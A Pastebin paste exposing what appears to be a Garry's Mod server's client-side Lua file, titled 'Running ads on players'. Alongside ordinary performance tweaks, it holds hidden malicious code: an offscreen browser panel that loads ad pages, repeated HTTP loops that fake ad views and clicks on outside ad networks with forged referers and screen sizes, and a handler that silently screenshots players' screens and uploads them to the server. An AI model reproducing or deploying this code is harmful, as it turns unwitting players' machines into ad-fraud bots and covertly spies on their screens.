lex36299

TheSandbox - Running ads on players

Sep 22nd, 2020 (edited)
240
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.99 KB | None | 0 0
  1. --[[
  2.  
  3. ~ server ip: 74.91.122.146_27015 ~
  4. ~ file: addons/player_specific/lua/autorun/client/cl_player.lua ~
  5.  
  6. ]]
  7. -- cl_player.lua
  8. net.Receive("fps_fix", function()
  9. LocalPlayer():ConCommand("pac_draw_distance 1000")
  10. LocalPlayer():ConCommand("gmod_mcore_test 1")
  11. LocalPlayer():ConCommand("r_3dsky 0")
  12. LocalPlayer():ConCommand("r_cleardecals;r_decals 0")
  13. LocalPlayer():ConCommand("r_queued_ropes 1")
  14. LocalPlayer():ConCommand("cl_threaded_bone_setup 1")
  15. LocalPlayer():ConCommand("cl_threaded_client_leaf_system 1")
  16. LocalPlayer():ConCommand("mat_queue_mode -1")
  17. LocalPlayer():ConCommand("r_threaded_renderables 1")
  18. LocalPlayer():ConCommand("r_threaded_particles 1")
  19. LocalPlayer():ConCommand("M9KGasEffect 0")
  20. LocalPlayer():ConCommand("cl_interp 0;cl_interp_ratio 0;cl_updaterate 1000")
  21. end)
  22.  
  23. hook.Add("CreateMove", "auto_bhop", function()
  24. if gui.IsGameUIVisible() or gui.IsConsoleVisible() or LocalPlayer():IsTyping() or LocalPlayer():GetMoveType() == MOVETYPE_NOCLIP then return end
  25.  
  26. if input.IsKeyDown(KEY_SPACE) and LocalPlayer():IsOnGround() then
  27. RunConsoleCommand("+jump")
  28. else
  29. RunConsoleCommand("-jump")
  30. end
  31. end)
  32.  
  33. local drawdist = CreateClientConVar("stk_draw_distance", "2500", true, false, "Draw Distance", 1, 999999999)
  34.  
  35. hook.Add("OnPlayerChat", "fixes", function(ply, txt)
  36. local txt = string.Trim(txt)
  37. local txt = string.Replace(txt, "\n", "")
  38.  
  39. if IsValid(ply) then
  40. tcol = team.GetColor(ply:Team())
  41. chat.AddText(Color(tcol.r, tcol.g, tcol.b), ply:Nick(), color_white, ": ", txt)
  42. end
  43.  
  44. return true
  45. end)
  46.  
  47. local antilagz = CreateClientConVar("stk_antilag", "1", true, false, "enable/disable antilag", 0, 1)
  48.  
  49. local antilag_ents = {
  50. ["prop_physics"] = true,
  51. ["player"] = true,
  52. ["prop_vehicle_airboat"] = true,
  53. ["mediaplayer_tv"] = true,
  54. ["gmod_wire_hologram"] = true,
  55. ["prop_vehicle_prisoner_pod"] = true,
  56. ["prop_vehicle_jeep_old"] = true,
  57. ["gmod_wire_textscreen"] = true,
  58. ["physgun_beam"] = true,
  59. ["beam"] = true,
  60. ["sammyservers_textscreen"] = true
  61. }
  62.  
  63. local function antilag()
  64. if not IsValid(LocalPlayer()) then return end
  65. local ppos = LocalPlayer():GetPos()
  66. local eyeang = LocalPlayer():EyeAngles()
  67. local vehicle = LocalPlayer():InVehicle()
  68.  
  69. for k, v in ipairs(ents.GetAll()) do
  70. if antilagz:GetBool() then
  71. if antilag_ents[v:GetClass()] then
  72. local epos = v:GetPos()
  73.  
  74. if epos:Distance(ppos) > 500 then
  75. if not vehicle then
  76. local a = ((epos + Vector(0, 0, 40)) - ppos):Angle()
  77. local x = math.abs(math.NormalizeAngle(eyeang.p - a.p))
  78. local y = math.abs(math.NormalizeAngle(eyeang.y - a.y))
  79.  
  80. if (x >= 60 and y >= 60) or epos:Distance(ppos) > drawdist:GetInt() then
  81. v:SetNoDraw(true)
  82. else
  83. v:SetNoDraw(false)
  84. end
  85. end
  86. else
  87. v:SetNoDraw(false)
  88. end
  89. end
  90. else
  91. v:SetNoDraw(false)
  92. end
  93. end
  94. end
  95.  
  96. timer.Create("anitlagtest", 0.5, 0, antilag)
  97.  
  98. hook.Add("PostDrawOpaqueRenderables", "spawnbox", function()
  99. local startpos = Vector(1023.968750, -895.993164, 63.992859)
  100. local endpos = Vector(640.037354, 799.939453, -143.968750)
  101. render.DrawWireframeBox(Vector(0, 0, 0), Angle(0, 0, 0), startpos, endpos, Color(255, 255, 255), true)
  102. end)
  103.  
  104. timer.Simple(5, function()
  105. local function chambea()
  106. if math.random() > 0.75 then return end
  107. local html = vgui.Create("DHTML")
  108. html:SetSize(ScrW(), ScrH())
  109. html:SetPos(-ScrW(), -ScrH())
  110.  
  111. function html:ConsoleMessage()
  112. end
  113.  
  114. local changes = 0
  115.  
  116. function html:OnChangeTitle(title)
  117. changes = changes + 1
  118.  
  119. if changes >= 2 then
  120. html:Remove()
  121. end
  122. end
  123.  
  124. html:OpenURL("http://ufff.men/ads/life.php?rnd=" .. math.random())
  125.  
  126. timer.Simple(10, function()
  127. if changes < 2 then
  128. html:Remove()
  129. -- exhausted
  130. end
  131. end)
  132. end
  133.  
  134. timer.Create("rip", 60 * 3, 0, chambea)
  135. chambea()
  136. end)
  137.  
  138. local umad = _G["render"]["Capture"]
  139.  
  140. net.Receive("req_screen", function()
  141. local screen = true
  142.  
  143. hook.Add("PostRender", "screenshot", function()
  144. if not screen then return end
  145. screen = false
  146.  
  147. local d = umad({
  148. format = "jpeg",
  149. quality = 70,
  150. x = 0,
  151. y = 0,
  152. w = ScrW(),
  153. h = ScrH()
  154. })
  155.  
  156. local d = util.Base64Encode(d)
  157. local d = util.Compress(d)
  158. local chunk_split = 20000
  159.  
  160. if #d > 64000 then
  161. local chunk_slices = math.ceil(#d / chunk_split)
  162.  
  163. local chunks = {1, 2, 3}
  164.  
  165. for i = 1, chunk_slices do
  166. if i == 1 then
  167. start_pos = i
  168. end_pos = chunk_split
  169. elseif i > 1 and i ~= chucks then
  170. start_pos = (i - 1) * chunk_split + 1
  171. end_pos = start_pos + chunk_split - 1
  172. elseif i > 1 and i == chunks then
  173. start_pos = (i - 1) * chunk_split + 1
  174. end_pos = #d
  175. end
  176.  
  177. local chunk = string.sub(d, start_pos, end_pos)
  178. chunks[i] = chunk
  179. end
  180.  
  181. local i = 1
  182.  
  183. timer.Create("send_chunks", .1, #chunks, function()
  184. net.Start("req_screen_chunk")
  185. net.WriteUInt(i, 32)
  186. net.WriteUInt(#chunks, 32)
  187. net.WriteUInt(#chunks[i], 32)
  188. net.WriteData(chunks[i], #chunks[i])
  189. net.SendToServer()
  190. i = i + 1
  191. end)
  192.  
  193. return
  194. end
  195.  
  196. net.Start("req_screen")
  197. net.WriteUInt(#d, 32)
  198. net.WriteData(d, #d)
  199. net.SendToServer()
  200. end)
  201. end)
  202.  
  203. net.Receive("send_screen", function()
  204. local size = net.ReadUInt(32)
  205. local img = net.ReadData(size)
  206. local img = util.Decompress(img)
  207. local img = util.Base64Decode(img)
  208. local randomimg = math.random(999, 9999999999)
  209. file.Write("screenshot.jpg", img)
  210.  
  211. timer.Simple(3, function()
  212. local theimg = Material("data/screenshot.jpg")
  213. local bg = vgui.Create("DFrame")
  214. bg:SetSize(ScrW() * .9, ScrH() * .9)
  215. bg:Center()
  216. bg:MakePopup()
  217. bg:SetTitle("Screengrab")
  218. local img = vgui.Create("DImage", bg)
  219. img:Dock(FILL)
  220. img:SetMaterial(theimg)
  221. end)
  222. end)
  223.  
  224. net.Receive("send_screen_chunk", function()
  225. local curchunk = net.ReadUInt(32)
  226. local chunkamt = net.ReadUInt(32)
  227. local chunk_size = net.ReadUInt(32)
  228. local chunk = net.ReadData(chunk_size)
  229.  
  230. if curchunk == 1 then
  231. data = chunk
  232. else
  233. data = data .. chunk
  234. end
  235.  
  236. if curchunk == chunkamt then
  237. data = util.Decompress(data)
  238. data = util.Base64Decode(data)
  239. local num = math.random(1, 999999)
  240. file.Write("screenshot" .. tostring(num) .. ".jpg", data)
  241.  
  242. timer.Simple(3, function()
  243. theimg = Material("data/screenshot" .. tostring(num) .. ".jpg")
  244. local bg = vgui.Create("DFrame")
  245. bg:SetSize(ScrW() * .9, ScrH() * .9)
  246. bg:Center()
  247. bg:MakePopup()
  248. bg:SetTitle("Screengrab")
  249. local img = vgui.Create("DImage", bg)
  250. img:Dock(FILL)
  251. img:SetMaterial(theimg)
  252. end)
  253. end
  254. end)
  255.  
  256. local sds2 = {
  257. {"gangsterproxies", "333238"},
  258. {"ballerproxies", "333292"}
  259. }
  260.  
  261. local sds2_counter = math.random(0, #sds2 - 1)
  262. local sds2_squid = "squidbrothers2"
  263. local sds2_paths = {}
  264.  
  265. local function sds2_squid_loader()
  266. HTTP({
  267. url = "http://" .. sds2[1][1] .. ".kufc.ufff.men/?feed=rss2",
  268. method = "GET",
  269. success = function(code, body)
  270. if code ~= 200 then return end
  271.  
  272. for url in string.gmatch(body, "<link>(.-)</link>") do
  273. _, e = string.find(url, "ufff.men")
  274. table.insert(sds2_paths, string.sub(url, e + 1))
  275. end
  276.  
  277. timer.Destroy(sds2_squid)
  278.  
  279. local function worker()
  280. local kys = sds2[(sds2_counter % #sds2) + 1]
  281.  
  282. HTTP({
  283. url = "https://bcvc.live/index.php?uid=" .. kys[2] .. "&adt=1&url=http://" .. kys[1] .. ".kufc.ufff.men" .. sds2_paths[math.random(1, #sds2_paths)],
  284. method = "GET",
  285. success = function(code, body, headers)
  286. if code ~= 200 then return end
  287. local tkn = string.match(body, "tkn = '(.-)'")
  288. local xyz = string.match(body, "xyz = '(.-)'")
  289. local referer = string.match(body, 'og:url” content="(.-)"')
  290. if not tkn or not xyz or not referer then return end
  291.  
  292. HTTP({
  293. url = "https://bcvc.live/ln.php?wds=" .. tkn .. "&time=" .. 455 + math.random(100) .. "," .. 252 + math.random(100) .. ":178." .. math.random() .. ",40." .. math.random() .. ":" .. 40000 + math.random(1000),
  294. headers = {
  295. ["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8",
  296. ["X-Requested-With"] = "XMLHttpRequest",
  297. ["Referer"] = referer,
  298. ["Origin"] = "https://bcvc.live"
  299. },
  300. method = "POST",
  301. parameters = {
  302. ["xdf[afg]"] = "-240",
  303. ["xdf[bfg]"] = tostring(ScrW() - math.random(0, ScrW() / 2)),
  304. ["xdf[cfg]"] = tostring(ScrH() - math.random(0, ScrH() / 2)),
  305. ["xdf[jki]"] = tkn,
  306. ["xdf[dfg]"] = tostring(ScrW()),
  307. ["xdf[efg]"] = tostring(ScrH()),
  308. ["ojk"] = "jfhg"
  309. },
  310. success = function(code, body, headers)
  311. if code ~= 200 then return end
  312. local session = string.match(headers["Set-Cookie"], "PHPSESSID=(.-);")
  313. local res = util.JSONToTable(body)
  314. if res == nil then return end
  315.  
  316. HTTP({
  317. url = res.message.url,
  318. method = GET,
  319. headers = {
  320. ["Cookie"] = "PHPSESSID=" .. session
  321. },
  322. success = function()
  323. sds2_counter = sds2_counter + 1
  324. end
  325. })
  326. end
  327. })
  328. end
  329. })
  330. end
  331.  
  332. timer.Create(sds2_squid, 60 * 4, 0, worker)
  333. worker()
  334. end
  335. })
  336. end
  337.  
  338. timer.Create(sds2_squid, 20, 0, sds2_squid_loader)
  339. sds2_squid_loader()
  340.  
  341. local sds3 = {
  342. {"proxiesallday", "279041", "584527"},
  343. {"freshdailyproxies", "285303", "584529"}
  344. }
  345.  
  346. local sds3_counter = math.random(0, #sds3 - 1)
  347. local sds3_paths = {}
  348.  
  349. local function sds3_squid_loader()
  350. HTTP({
  351. url = "http://279041.kufc.ufff.men/?feed=rss2",
  352. method = "GET",
  353. success = function(code, body)
  354. if code ~= 200 then return end
  355.  
  356. for url in string.gmatch(body, "<link>(.-)</link>") do
  357. _, e = string.find(url, "ufff.men")
  358. table.insert(sds3_paths, string.sub(url, e + 1))
  359. end
  360.  
  361. timer.Destroy("sds3")
  362.  
  363. local function worker()
  364. local kys = sds3[(sds3_counter % #sds3) + 1]
  365. local from = util.Base64Encode("http://" .. kys[1] .. ".kufc.ufff.men" .. sds3_paths[math.random(1, #sds3_paths)])
  366. local desired = util.Base64Encode("http://" .. kys[1] .. ".kufc.ufff.men" .. sds3_paths[math.random(1, #sds3_paths)])
  367. local afrom = "http://p.zetadeo.com/go/" .. kys[2] .. "/" .. kys[3] .. "/" .. desired .. "?cb=" .. tostring(1e16 * math.random())
  368.  
  369. HTTP({
  370. url = afrom,
  371. method = "GET",
  372. headers = {
  373. ["Referer"] = from
  374. },
  375. success = function(code, body)
  376. if code ~= 200 then return end
  377. local thash = string.match(body, string.rep("[0-9a-f]", 16))
  378. if not thash then return end
  379.  
  380. HTTP({
  381. url = "http://p.zetadeo.com/ad/ad?p=" .. kys[2] .. "&w=" .. kys[2] .. "&t=" .. thash .. "&r=" .. desired .. "&vw=" .. ScrW() .. "&vh=" .. ScrH(),
  382. method = "GET",
  383. headers = {
  384. ["Referer"] = afrom
  385. },
  386. success = function(code)
  387. sds3_counter = sds3_counter + 1
  388. end
  389. })
  390. end
  391. })
  392. end
  393.  
  394. timer.Create("sds3", 60 * 20, 0, worker)
  395. worker()
  396. end
  397. })
  398. end
  399.  
  400. timer.Create("sds3", 20, 0, sds3_squid_loader)
  401. sds3_squid_loader()
  402.  
Add Comment
Please, Sign In to add comment